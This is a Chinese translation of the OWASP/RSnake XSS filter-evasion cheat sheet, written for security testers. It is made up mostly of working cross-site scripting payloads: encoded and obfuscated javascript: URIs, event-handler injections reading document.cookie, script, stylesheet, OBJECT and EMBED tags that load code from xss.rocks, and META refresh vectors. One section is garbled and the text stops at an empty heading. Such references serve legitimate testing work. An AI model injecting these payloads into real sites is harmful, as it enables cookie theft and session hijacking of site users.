天天看點

XSS繞過,XSS過濾速查,XSS繞過姿勢

1.介紹

這篇文章的主要目的是給專業安全測試人員提供一份跨站腳本漏洞檢測指南。文章的初始内容是由RSnake提供給 OWASP,内容基于他的XSS備忘錄:http://ha.ckers.org/xss.html。目前這個網頁已經重定向到OWASP網站,将由OWASP維護和完善它。OWASP 的第一個防禦備忘錄項目:XSS (Cross Site Scripting)Prevention Cheat Sheet 靈感來源于 RSnake 的 XSS Cheat Sheet,是以我們對他給予我們的啟發表示感謝。我們想要去建立短小簡單的參考給開發者以便幫助他們預防 XSS漏洞,而不是簡單的告訴他們需要使用複雜的方法建構應用來預防各種千奇百怪的攻擊,這也是OWASP 備忘錄系列誕生的原因。

2.測試

這份備忘錄是為那些已經了解XSS攻擊,但是想要了解關于繞過過濾器方法之間細微差别的人準備的。

請注意大部分的跨站腳本攻擊向量已經在其代碼下方給出的浏覽器清單中進行測試。

2.1.  XSS定位器

在大多數存在漏洞且不需要特定XSS攻擊代碼的地方插入下列代碼會彈出包含“XSS”字樣的對話框。使用URL編碼器來對整個代碼進行編碼。小技巧:如果你時間很緊想要快速檢查頁面,通常隻要插入“<任意文本>”标簽,然後觀察頁面輸出是否明顯改變了就可以判斷是否存在漏洞:

‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;

alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–

></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

2.2.  XSS定位器(短)

如果你沒有足夠的空間并且知道頁面上沒有存在漏洞的JavaScript,這個字元串是一個不錯的簡潔XSS注入檢查。注入後檢視頁面源代碼并且尋找是否存在<XSS 或&lt;XSS字樣來确認是否存在漏洞

”;!–”<XSS>=&{()} 

2.3.  無過濾繞過

這是一個正常的XSS注入代碼,雖然通常它會被防禦,但是建議首先去測試一下。(引号在任何現代浏覽器中都不需要,是以這裡省略了它):

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT> 

2.4.  利用多語言進行過濾繞過

‘”>><marquee><img src=x οnerrοr=confirm(1)></marquee>”></plaintext\></|\><plaintext/οnmοuseοver=prompt(1)>

<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’–>”></script>

<script>alert(document.cookie)</script>”>

<img/id=”confirm&lpar;1)”/alt=”/”src=”/”οnerrοr=eval(id)>’”>

<img src=”http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg“>

2.5.  通過JavaScript指令實作的圖檔XSS

圖檔注入使用JavaScript指令實作(IE7.0 不支援在圖檔上下文中使用JavaScript 指令,但是可以在其他上下文觸發。下面的例子展示了一種其他标簽依舊通用的原理):

<IMG SRC=”javascript:alert(‘XSS’);”> 

2.6.  無分号無引号

<IMG SRC=javascript:alert(‘XSS’)> 

2.7.  不區分大小寫的XSS攻擊向量

<IMG SRC=JaVaScRiPt:alert(‘XSS’)> 

2.8.  HTML實體

必須有分号才可生效

<IMG SRC=javascript:alert(&quot;XSS&quot;)> 

2.9.  重音符混淆

如果你的JavaScript代碼中需要同時使用單引号和雙引号,那麼可以使用重音符(`)來包含JavaScript 代碼。這通常會有很大幫助,因為大部分跨站腳本過濾器都沒有過濾這個字元:

<IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`> 

2.10.    畸形的A标簽

跳過HREF标簽找到XSS的重點。。。由DavidCross送出~已在Chrome上驗證

<a οnmοuseοver=”alert(document.cookie)”>xxs link</a> 

此外Chrome經常幫你補全确實的引号。。。如果在這方面遇到問題就直接省略引号,Chrome會幫你補全在URL或腳本中缺少的引号。

<a οnmοuseοver=alert(document.cookie)>xxs link</a> 

2.11.    畸形的IMG标簽

最初由Begeek發現(短小精湛适用于所有浏覽器),這個XSS攻擊向量使用了不嚴格的渲染引擎來構造含有IMG标簽并被引号包含的XSS攻擊向量。我猜測這種解析原來是為了相容不規範的編碼。這會讓它更加難以正确的解析HTML标簽:

<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”> 

2.12.    fromCharCode函數

如果不允許任何形式的引号,你可以通過執行JavaScript裡的fromCharCode函數來建立任何你需要的XSS攻擊向量:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> 

2.13.    使用預設SRC屬性繞過SRC域名過濾器

這種方法可以繞過大多數SRC域名過濾器。将JavaScript代碼插入事件方法同樣适用于注入使用elements的任何HTML标簽,例如Form,Iframe, Input, Embed等等。它同樣允許将事件替換為任何标簽中可用的事件類型,例如onblur,onclick。下面會給出許多不同的可注入事件清單。由David Cross送出,Abdullah Hussam(@Abdulahhusam)編輯。

<IMG SRC=# οnmοuseοver=”alert(‘xxs’)”> 

2.14.    使用預設為空的SRC屬性

<IMG SRC= οnmοuseοver=”alert(‘xxs’)”> 

2.15.    使用不含SRC屬性

<IMG οnmοuseοver=”alert(‘xxs’)”> 

2.16.    通過error事件觸發alert

<IMG SRC=/ οnerrοr=”alert(String.fromCharCode(88,83,83))”></img> 

2.17.    對IMG标簽中onerror屬性進行編碼

<img src=x οnerrοr=”&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041″> 

2.18.    十進制HTML字元實體編碼

所有在IMG标簽裡直接使用javascript:形式的XSS示例無法在Firefox或Netscape8.1以上浏覽器(使用Gecko渲染引擎)運作。

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;

&#39;&#88;&#83;&#83;&#39;&#41;>

2.19.    不帶分号的十進制HTML字元實體編碼

這對于繞過對“&#XX;”形式的XSS過濾非常有用,因為大多數人不知道最長可使用7位數字。這同樣對例如$tmp_string =~s/.*\&#(\d+);.*/$1/;形式的過濾器有效,這種過濾器是錯誤的認為HTML字元實體編碼需要用分号結尾(無意中發現的):

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&

#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

2.20.    不帶分号的十六進制HTML字元實體編碼

這是有效繞過例如$tmp_string =~ s/.*\&#(\d+);.*/$1/;過濾器的方法。這種過濾器錯誤的認為#号後會跟着數字(十六進制HTML字元實體編碼并非如此)

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> 

2.21.    内嵌TAB

使用TAB來分開XSS攻擊代碼:

<IMG SRC=”jav ascript:alert(‘XSS’);”> 

2.22.    内嵌編碼後TAB

使用編碼後的TAB來分開XSS攻擊代碼:

<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”> 

2.23.    内嵌換行分隔XSS攻擊代碼

一些網站聲稱09到13(十進制)的HTML實體字元都可以實作這種攻擊,這是不正确的。隻有09(TAB),10(換行)和13(回車)有效。檢視ASCII字元表擷取更多細節。下面幾個XSS示例介紹了這些向量。

<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”> 

2.24.    内嵌回車分隔XSS攻擊代碼

注意:上面使用了比實際需要長的字元串是因為0可以忽略。經常可以遇到過濾器解碼十六進制和十進制編碼時認為隻有2到3位字元。實際規則是1至7位字元:

<IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”> 

2.25.    使用空字元分隔JavaScript指令

空字元同樣可以作為XSS攻擊向量,但和上面有所差別,你需要使用一些例如Burp工具或在URL字元串裡使用%00,亦或你想使用VIM編寫自己的注入工具(^V^@會生成空字元),還可以通過程式生成它到一個文本檔案。老版本的Opera浏覽器(例如Windows版的7.11)還會受另一個字元173(軟連字元)的影響。但是空字元%00更加有用并且能幫助繞過真實世界裡的過濾器,例如這個例子裡的變形:

perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out 

2.26.    利用IMG标簽中JavaScript指令前的空格和元字元

如果過濾器不計算”javascript:”前的空格,這是正确的,因為它們不會被解析,但這點非常有用。因為這會造成錯誤的假設,就是引号和”javascript:”字樣間不能有任何字元。實際情況是你可以插入任何十進制的1至32号字元:

<IMG SRC=” &#14;  javascript:alert(‘XSS’);”> 

2.27.    利用非字母非數字字元

FireFox的HTML解析器認為HTML關鍵詞後不能有非字母非數字字元,并且認為這是一個空白或在HTML标簽後的無效符号。但問題是有的XSS過濾器認為它們要查找的标記會被空白字元分隔。例如”<SCRIPT\s” != “<SCRIPT/XSS\s”:

<SCRIPT/XSS SRC=”http://xss.rocks/xss.js“></SCRIPT> 

基于上面的原理,可以使用模糊測試進行擴充。Gecko渲染引擎允許任何字元包括字母,數字或特殊字元(例如引号,尖括号等)存在于事件名稱和等号之間,這會使得更加容易繞過跨站腳本過濾。注意這同樣适用于下面看到的重音符:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)> 

Yair Amit讓我注意到了IE和Gecko渲染引擎有一點不同行為,在于是否在HTML标簽和參數之間允許一個不含空格的斜杠。這會非常有用如果系統不允許空格的時候。

<SCRIPT/SRC=”http://xss.rocks/xss.js“></SCRIPT> 

2.28.    額外的尖括号

由Franz Sedlmaier送出,這個XSS攻擊向量可以繞過某些檢測引擎,比如先查找第一個比對的尖括号,然後比較裡面的标簽内容,而不是使用更有效的算法,例如Boyer-Moore算法就是查找整個字元串中的尖括号和相應标簽(當然是通過模糊比對)。雙斜杠注釋了額外的尖括号來防止出現JavaScript錯誤:

<<SCRIPT>alert(“XSS”);//<</SCRIPT> 

2.29.    未閉合的script标簽

在Firefox和Netscape 8.1的Gecko渲染引擎下你不是必須構造類似“></SCRIPT>”的跨站腳本攻擊向量。Firefox假定閉合HTML标簽是安全的并且會為你添加閉合标記。多麼體貼!不像不影響Firefox的下一個問題,這不需要在後面有額外的HTML标簽。如果需要可以添加引号,但通常是沒有必要的,需要注意的是,我并不知道這樣注入後HTML會什麼樣子結束:

<SCRIPT SRC=http://xss.rocks/xss.js?< B > 

2.30.    script标簽中的協定解析

這個特定的變體是由Łukasz Pilorz送出的并且基于Ozh提供的協定解析繞過。這個跨站腳本示例在IE和Netscape的IE渲染模式下有效,如果添加了</SCRIPT>标記在Opera中也可以。這在輸入空間有限的情況下是非常有用的,你所使用的域名越短越好。”.j”是可用的,在SCRIPT标簽中不需要考慮編碼類型因為浏覽器會自動識别。

<SCRIPT SRC=//xss.rocks/.j> 

2.31.    隻含左尖括号的HTML/JavaScript XSS向量

IE渲染引擎不像Firefox,不會向頁面中添加額外資料。但它允許在IMG标簽中直接使用javascript。這對構造攻擊向量是很有用的,因為不需要閉合尖括号。這使得有任何HTML标簽都可以進行跨站腳本攻擊向量注入。甚至可以不使用”>”閉合标簽。注意:這會讓HTML頁面變得混亂,具體程度取決于下面的HTML标簽。這可以繞過以下NIDS正則:/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/因為不需要”>”閉合。另外在實際對抗XSS過濾器的時候,使用一個半開放的<IFRAME标簽替代<IMG标簽也是非常有效的。

<IMG SRC=”javascript:alert(‘XSS’)” 

2.32.    多個左尖括号

使用一個左尖括号替代右尖括号作為标簽結尾的攻擊向量會在不同浏覽器的Gecko渲染引擎下有不同表現。沒有左尖括号時,在Firefox中生效,而在Netscape中無效。

<iframe src=http://xss.rocks/scriptlet.html < 

2.33.    JavaScript雙重轉義

當應用将一些使用者輸入輸出到例如:<SCRIPT>var a=”$ENV{QUERY_STRING}”;</SCRIPT>的JavaScript中時,你想注入你的JavaScript腳本,你可以通過轉義轉義字元來規避伺服器端轉義引号。注入後會得到<SCRIPT>vara=”\\”;alert(‘XSS’);//”;</SCRIPT>,這時雙引号不會被轉義并且可以觸發跨站腳本攻擊向量。XSS定位器就用了這種方法:

\”;alert(‘XSS’);// 

另一種情況是,如果内嵌資料進行了正确的JSON或JavaScript轉義,但沒有HTML編碼,那可以結束原有腳本塊并開始你自己的:

</script><script>alert(‘XSS’);</script> 

2.34.    閉合title标簽

這是一個簡單的閉合<TITLE>标簽的XSS攻擊向量,可以包含惡意的跨站腳本攻擊:

</TITLE><SCRIPT>alert(“XSS”);</SCRIPT> 

2.35.    INPUT image

<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”> 

2.36.    BODY image

<BODY BACKGROUND=”javascript:alert(‘XSS’)”> 

2.37.    IMG Dynsrc

<IMG DYNSRC=”javascript:alert(‘XSS’)”> 

2.38.    IMG lowsrc

<IMG LOWSRC=”javascript:alert(‘XSS’)”> 

2.39.    List-style-image

處理嵌入的圖檔清單是很麻煩的問題。由于JavaScript指令的原因隻能在IE渲染引擎下有效。不是一個特别有用的跨站腳本攻擊向量:

<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS</br> 

2.40.    圖檔中引用VBscript

<IMG SRC=’vbscript:msgbox(“XSS”)’> 

2.41.    Livescript (僅限舊版本Netscape)

<IMG SRC=”livescript:[code]"> 

2.42.    SVG對象标簽

<svg/οnlοad=alert('XSS')> 

2.43.    ECMAScript 6

Set.constructor`alert\x28document.domain\x29``` 

2.44.    BODY标簽

這個方法不需要使用任何例如"javascript:"或"<SCRIPT..."語句來完成XSS攻擊。Dan Crowley特别提醒你可以在等号前加入一個空格("οnlοad=" != "onload ="):

<BODY ONLOAD=alert('XSS')> 

2.45.    事件處理程式

在XSS攻擊中可使用以下事件(在完稿的時候這是網上最全的清單了)。感謝ReneLedosquet的更新。

1.    FSCommand() (攻擊者當需要在嵌入的Flash對象中執行時可以使用此事件)

2.    onAbort() (當使用者中止加載圖檔時)

3.    onActivate() (當對象激活時)

4.    onAfterPrint() (使用者列印或進行列印預覽後觸發)

5.    onAfterUpdate() (從資料源對象更新資料後由資料對象觸發)

6.    onBeforeActivate() (在對象設定為激活元素前觸發)

7.    onBeforeCopy() (攻擊者在選中部分拷貝到剪貼闆前執行攻擊代碼-攻擊者可以通過執行execCommand("Copy")函數觸發)

8.    onBeforeCut() (攻擊者在選中部分剪切到剪貼闆前執行攻擊代碼)

9.    onBeforeDeactivate() (在目前對象的激活元素變化前觸發)

10.  onBeforeEditFocus() (在一個包含可編輯元素的對象進入激活狀态時或一個可編輯的對象被選中時觸發)

11.  onBeforePaste() (在使用者被誘導進行粘貼前或使用execCommand("Paste")函數觸發)

12.  onBeforePrint() (使用者需要被誘導進行列印或攻擊者可以使用print()或execCommand("Print")函數).

13.  onBeforeUnload() (使用者需要被誘導關閉浏覽器-除非從父視窗執行,否則攻擊者不能關閉目前視窗)

14.  onBeforeUpdate() (從資料源對象更新資料前由資料對象觸發)

15.  onBegin() (當元素周期開始時由onbegin 事件立即觸發)

16.  onBlur() (另一個視窗彈出目前視窗失去焦點時觸發)

17.  onBounce() (當marquee對象的behavior屬性設定為“alternate”且字幕的滾動内容到達視窗一邊時觸發)

18.  onCellChange() (當資料提供者的資料變化時觸發)

19.  onChange() (select,text, 或TEXTAREA字段失去焦點并且值發生變化時觸發)

20.  onClick() (表單中點選觸發)

21.  onContextMenu() (使用者需要在攻擊區域點選右鍵)

22.  onControlSelect() (當使用者在一個對象上建立控件選中區時觸發)

23.  onCopy() (使用者需要複制一些東西或使用execCommand("Copy")指令時觸發)

24.  onCut() (使用者需要剪切一些東西或使用execCommand("Cut")指令時觸發)

25.  onDataAvailable() (使用者需要修改元素中的資料,或者由攻擊者提供的類似功能)

26.  onDataSetChanged() (當資料源對象變更導緻資料集發生變更時觸發)

27.  onDataSetComplete() (資料源對象中所有資料可用時觸發)

28.  onDblClick() (使用者輕按兩下一個表單元素或連結)

29.  onDeactivate() (在激活元素從目前對象轉換到父文檔中的另一個對象時觸發)

30.  onDrag() (在元素正在拖動時觸發)

31.  onDragEnd() (當使用者完成元素的拖動時觸發)

32.  onDragLeave() (使用者在拖動元素離開放置目标時觸發)

33.  onDragEnter() (使用者将對象拖拽到合法拖曳目标)

34.  onDragOver() (使用者将對象拖拽劃過合法拖曳目标)

35.  onDragDrop() (使用者将一個對象(例如檔案)拖拽到浏覽器視窗)

36.  onDragStart() (當使用者開始拖動元素時觸發)

37.  onDrop() (當拖動元素放置在目标區域時觸發)

38.  onEnded() (在視訊/音頻(audio/video)播放結束時觸發)

39.  onError() (在加載文檔或圖像時發生錯誤)

40.  onErrorUpdate() (當從資料源對象更新相關資料遇到錯誤時在資料綁定對象上觸發)

41.  onFilterChange() (當濾鏡完成狀态變更時觸發)

42.  onFinish() (當marquee完成滾動時攻擊者可以執行攻擊)

43.  onFocus() (當視窗獲得焦點時攻擊者可以執行攻擊代碼)

44.  onFocusIn() (當元素将要被設定為焦點之前觸發)

45.  onFocusOut() (攻擊者可以在視窗失去焦點時觸發攻擊代碼)

46.  onHashChange() (當錨部分發生變化時觸發攻擊代碼)

47.  onHelp() (攻擊者可以在使用者在目前窗體激活時按下F1觸發攻擊代碼)

48.  onInput() (在 <input> 或 <textarea> 元素的值發生改變時觸發)

49.  onKeyDown() (使用者按下一個鍵的時候觸發)

50.  onKeyPress() (在鍵盤按鍵被按下并釋放一個鍵時觸發)

51.  onKeyUp() (使用者釋放一個鍵時觸發)

52.  onLayoutComplete() (使用者進行完列印或列印預覽時觸發)

53.  onLoad() (攻擊者在視窗加載後觸發攻擊代碼)

54.  onLoseCapture() (可以由releaseCapture()方法觸發)

55.  onMediaComplete() (當一個流媒體檔案使用時,這個事件可以在檔案播放前觸發)

56.  onMediaError() (當使用者在浏覽器中打開一個包含媒體檔案的頁面,出現問題時觸發事件)

57.  onMessage() (當頁面收到一個資訊時觸發事件)

58.  onMouseDown() (攻擊者需要讓使用者點選一個圖檔觸發事件)

59.  onMouseEnter() (光标移動到一個對象或區域時觸發)

60.  onMouseLeave() (攻擊者需要讓使用者光标移動到一個圖像或表格然後移開來觸發事件)

61.  onMouseMove() (攻擊者需要讓使用者将光标移到一個圖檔或表格)

62.  onMouseOut() (攻擊者需要讓使用者光标移動到一個圖像或表格然後移開來觸發事件)

63.  onMouseOver() (光标移動到一個對象或區域)

64.  onMouseUp() (攻擊者需要讓使用者點選一個圖檔)

65.  onMouseWheel() (攻擊者需要讓使用者使用他們的滑鼠滾輪)

66.  onMove() (使用者或攻擊者移動頁面時觸發)

67.  onMoveEnd() (使用者或攻擊者移動頁面結束時觸發)

68.  onMoveStart() (使用者或攻擊者開始移動頁面時觸發)

69.  onOffline() (當浏覽器從線上模式切換到離線模式時觸發)

70.  onOnline() (當浏覽器從離線模式切換到線上模式時觸發)

71.  onOutOfSync() (當元素與目前時間線失去同步時觸發)

72.  onPaste() (使用者進行粘貼時或攻擊者可以使用execCommand("Paste")函數時觸發)

73.  onPause() (在視訊或音頻暫停時觸發)

74.  onPopState() (在視窗的浏覽曆史(history 對象)發生改變時觸發)

75.  onProgress() (攻擊者可以在一個FLASH加載時觸發事件)

76.  onPropertyChange() (使用者或攻擊者需要改變元素屬性時觸發)

77.  onReadyStateChange() (每次 readyState 屬性變化時被自動調用)

78.  onRedo() (使用者傳回上一頁面時觸發)

79.  onRepeat() (事件在播放完重複播放時觸發)

80.  onReset() (使用者或攻擊者重置表單時觸發)

81.  onResize() (使用者改變視窗大小時,攻擊者可以自動以這種方法觸發:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)

82.  onResizeEnd() (使用者完成改變窗體大小時觸發)

83.  onResizeStart() (使用者開始改變窗體大小時觸發)

84.  onResume() (當元素繼續播放時觸發)

85.  onReverse() (當元素回放時觸發)

86.  onRowsEnter() (使用者或攻擊者需要改變資料源中的一行)

87.  onRowExit() (使用者或攻擊者改變資料源中的一行後退出時觸發)

88.  onRowDelete() (使用者或攻擊者需要删除資料源中的一行)

89.  onRowInserted() (user or attacker would needto insert a row in a data source)

90.  onScroll() (使用者需要滾動或攻擊者使用scrollBy()函數)

91.  onSeek() (當使用者在元素上執行查找操作時觸發)

92.  onSelect() (使用者需要選擇一些文本-攻擊者可以以此方式觸發: window.document.execCommand("SelectAll");)

93.  onSelectionChange() (當使用者選擇文本變化時觸發-攻擊者可以以此方式觸發: window.document.execCommand("SelectAll");)

94.  onSelectStart() (當使用者開始選擇文本時觸發-攻擊者可以以此方式觸發: window.document.execCommand("SelectAll");)

95.  onStart() (在marquee 對象開始循環時觸發)

96.  onStop() (當使用者按下停止按鈕或離開頁面時觸發)

97.  onStorage() (當Web Storage更新時觸發)

98.  onSyncRestored() (當元素與它的時間線恢複同步時觸發)

99.  onSubmit() (需要使用者或攻擊者送出表單)

100.onTimeError() (使用者或攻擊者設定時間屬性出現錯誤時觸發)

101.onTrackChange() (使用者或攻擊者改變播放清單内歌曲時觸發)

102.onUndo() (使用者傳回上一浏覽記錄頁面時觸發)

103.onUnload() (使用者點選任意連結或按下後退按鈕或攻擊者強制進行點選時觸發)

104.onURLFlip() (當一個進階流媒體格式(ASF)檔案,由一個HTML+TIME(基于時間互動的多媒體擴充)媒體标簽播放時,可觸發在ASF檔案中内嵌的攻擊腳本)

105.seekSegmentTime() (這是一個方法可以定位元素某個時間段内中的特定的點,并可以從該點播放。這個段落包含了一個重複的時間線,并包括使用AUTOREVERSE屬性進行反向播放。)

2.46.    BGSOUND

<BGSOUND SRC="javascript:alert('XSS');"> 

2.47.    & JavaScript包含

<BR SIZE="&{alert('XSS')}"> 

2.48.    樣式表

<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> 

2.49.    遠端樣式表

(利用像遠端樣式表一樣簡單的形式,你可以将XSS攻擊代碼包含在可使用内置表達式進行重定義的樣式參數裡。)這隻在IE和使用IE渲染模式Netscape8.1+。注意這裡沒有任何元素在頁面中表明這頁面包含了JavaScript。提示:這些遠端樣式表都使用了body标簽,是以必須在頁面中有除了攻擊向量以外的内容存在時才會生效, 也就是如果是空白頁的話你必須在頁面添加一個字母來讓攻擊代碼生效:

<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css"> 

2.50.    遠端樣式表2

這個和上面一樣有效,不過使用了<STYLE>标簽替代<LINK>标簽. 這個細微的變化曾經用來攻擊谷歌桌面。另一方面,如果在攻擊向量後有HTML标簽閉合攻擊向量,你可以移除末尾的</STYLE>标簽。在進行跨站腳本攻擊時,如不能同時使用等号或斜杠,這是非常有用的,這種情況在現實世界裡不止一次發生了:

<STYLE>@import'http://xss.rocks/xss.css';</STYLE> 

2.51.    遠端樣式表3

這種方式僅在Opera 8.0(9.x不可以)中有效,但方法比較有創意. 根據RFC2616,設定一個Link頭部不是HTTP1.1規範的一部分,但一些浏覽器仍然允許這樣做 (例如Firefox和  Opera). 這裡的技巧是設定一個頭部(和普通頭部并沒有什麼差別,隻是設定Link: <http://xss.rocks/xss.css>; REL=stylesheet)并且在遠端樣式表中包含使用了JavaScript的跨站腳本攻擊向量,這一點是FireFox不支援的:

<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet"> 

2.52.    遠端樣式表4

這僅能在Gecko渲染引擎下有效并且需要在父頁面綁定一個XML檔案。具有諷刺意味的是 Netscape認為Gecko更安全 ,是以對絕大多數網站來說會受到漏洞影響:

<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE> 

2.53.    含有分隔JavaScript的STYLE标簽

這個XSS會在IE中造成無限循環:

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> 

2.54.    STYLE屬性中使用注釋分隔表達式

由Roman Ivanov建立

<IMG STYLE="xss:expression(alert('XSS'))"> 

2.55.    含表達式的IMG STYLE

這是一個将上面XSS攻擊向量混合的方法,但确實展示了STYLE标簽可以用相當複雜的方式分隔,和上面一樣,也會讓IE進入死循環:

exppression(alert("XSS"))'>

2.56.    STYLE标簽(僅舊版本Netscape可用)

<STYLE TYPE="text/javascript">alert('XSS');</STYLE> 

2.57.    使用背景圖像的STYLE标簽

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> 

2.58.    使用背景的STYLE标簽

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> 

2.59.    含STYLE屬性的HTML任意标簽

IE6.0和IE渲染引擎模式下的Netscape 8.1+并不關心你建立的HTML标簽是否存在,隻要是由尖括号和字母開始的即可:

<XSS STYLE="behavior: url(xss.htc);"> 

2.60.    本地htc檔案

這和上面兩個跨站腳本攻擊向量有些不同,因為它使用了一個必須和XSS攻擊向量在相同伺服器上的.htc檔案。這個示例檔案通過下載下傳JavaScript并将其作為style屬性的一部分運作來進行攻擊:

<XSS STYLE="behavior: url(xss.htc);"> 

2.61.    US-ASCII編碼

US-ASCII編碼(由Kurt Huwig發現)。它使用了畸形的7位ASCII編碼來代替8位。這個XSS攻擊向量可以繞過大多數内容過濾器,但是隻在主機使用US-ASCII編碼傳輸資料時有效,或者可以自己設定編碼格式。相對繞過伺服器端過濾,這在繞過WAF跨站腳本過濾時候更有效。Apache Tomcat是目前唯一已知使用US-ASCII編碼傳輸的:

¼script¾alert(¢XSS¢)¼/script¾ 

2.62.    META

關于meta重新整理比較奇怪的是它并不會在頭部中發送一個referrer-是以它通常用于不需要referrer的時候:

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> 

2.62.1 使用資料的META

URL scheme指令。這個非常有用因為它并不包含任何可見的SCRIPT單詞或JavaScript指令,因為它使用了base64編碼.請檢視RFC 2397尋找更多細節。你同樣可以使用具有Base64編碼功能的XSS工具來編碼HTML或JavaScript:

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> 

2.62.2 含有額外URL參數的META

如果目标站點嘗試檢查URL是否包含"http://",你可以用以下技術規避它(由Moritz Naumann送出):

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> 

2.63.    IFRAME

如果允許Iframe那就會有很多XSS問題:

<IFRAME SRC="javascript:alert('XSS');"></IFRAME> 

2.64.    基于事件IFRAME

Iframes和大多數其他元素可以使用下列事件(由David Cross送出):

<IFRAME SRC=# οnmοuseοver="alert(document.cookie)"></IFRAME> 

2.65.    FRAME

Frames和iframe一樣有很多XSS問題:

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> 

2.66.    TABLE

<TABLE BACKGROUND="javascript:alert('XSS')"> 

2.66.1. TD

和上面一樣,TD也可以通過BACKGROUND來包含JavaScriptXSS攻擊向量:

<TABLE><TD BACKGROUND="javascript:alert('XSS')"> 

2.67.    DIV

2.67.1. DIV背景圖像

<DIV STYLE="background-image: url(javascript:alert('XSS'))"> 

2.67.2. 含有Unicode XSS利用代碼的DIV背景圖像

這進行了一些修改來混淆URL參數。原始的漏洞是由RenaudLifchitz在Hotmail發現的:

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> 

2.67.3. 含有額外字元的DIV背景圖像

Rnaske進行了一個快速的XSS模糊測試來發現IE和安全模式下的Netscape 8.1中任何可以在左括号和JavaScript指令間加入的額外字元。這都是十進制的但是你也可以使用十六進制來填充(以下字元可用:1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> 

2.67.4. DIV表達式

一個非常有效的對抗現實中的跨站腳本過濾器的變體是在冒号和"expression"之間添加一個換行:

<DIV STYLE="width: expression(alert('XSS'));"> 

2.68.    html 條件選擇注釋塊

隻能在IE5.0及更高版本和IE渲染引擎模式下的Netscape 8.1生效。一些網站認為在注釋中的任何内容都是安全的并且認為沒有必要移除,這就允許我們添加跨站腳本攻擊向量。系統會在一些内容周圍嘗試添加注釋标簽以便安全的渲染它們。如我們所見,這有時并不起作用:

<!--[if gte IE 4]>

 <SCRIPT>alert('XSS');</SCRIPT>

 <![endif]-->

2.69.    BASE标簽

在IE和安全模式下的Netscape 8.1有效。你需要使用//來注釋下個字元,這樣你就不會造成JavaScript錯誤并且你的XSS标簽可以被渲染。同樣,這需要目前網站使用相對路徑例如"images/image.jpg"來放置圖像而不是絕對路徑。如果路徑以一個斜杠開頭例如"/images/image.jpg"你可以從攻擊向量中移除一個斜杠(隻有在兩個斜杠時注釋才會生效):

<BASE HREF="javascript:alert('XSS');//"> 

2.70.    OBJECT标簽

如果允許使用OBJECT,你可以插入一個病毒攻擊載荷來感染使用者,類似于APPLET标簽。連結檔案實際是含有你XSS攻擊代碼的HTML檔案:

<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT> 

2.71.    使用EMBED标簽加載含有XSS的FLASH檔案

如果你添加了屬性allowScriptAccess="never"以及allownetworking="internal"則可以減小風險(感謝Jonathan Vanasco提供的資訊):

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> 

2.72.    使用EMBED SVG包含攻擊向量

